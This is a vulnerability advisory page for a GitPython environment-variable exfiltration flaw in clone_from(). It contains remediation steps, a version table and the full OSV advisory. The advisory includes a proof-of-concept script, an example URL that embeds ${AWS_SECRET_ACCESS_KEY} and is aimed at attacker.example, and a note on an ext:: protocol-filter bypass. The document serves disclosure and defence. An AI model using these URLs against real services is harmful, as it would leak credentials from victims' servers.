CVE-2026-67322: GitPython Environment-variable Exfiltration Vulnerability
HIGHCVE-2026-67322 is a HIGH (CVSS 7.5) environment-variable exfiltration vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting GitPython libraries in the PyPI ecosystem. The issue involves environment-variable exfiltration via os.path.expandvars() on repo.clone_from() url. Remediation is available by upgrading affected packages to version 3.1.52.
CVE-2026-67322 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-67322
To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install GitPython>=3.1.52
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show GitPython
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-67322, inspect your installed packages using pip:
pip show GitPython
Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.52), your application is affected.
Note: The pip show GitPython command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-67322 Affected GitPython Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
GitPython
|
PyPI |
< 3.1.52
|
3.1.52
|
References
Frequently Asked Questions
What is CVE-2026-67322?
Which GitPython versions are affected?
What version fixes CVE-2026-67322?
Is GitPython affected?
What is the CVSS score of CVE-2026-67322?
What CWE is associated with CVE-2026-67322?
How can I check PyPI dependencies for CVE-2026-67322?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rwj8-pgh3-r573",
"modified" : "2026-09-24T14:40:12Z",
"published" : "2026-07-21T22:06:09Z",
"aliases" : [ "CVE-2026-67322" ],
"summary" : "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL",
"details" : "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "GitPython"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.52"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67322"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/pull/2172"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-rwj8-pgh3-r573"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gitpython-developers/GitPython"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/gitpython"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-201" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T22:06:09Z",
"nvd_published_at" : null
}
}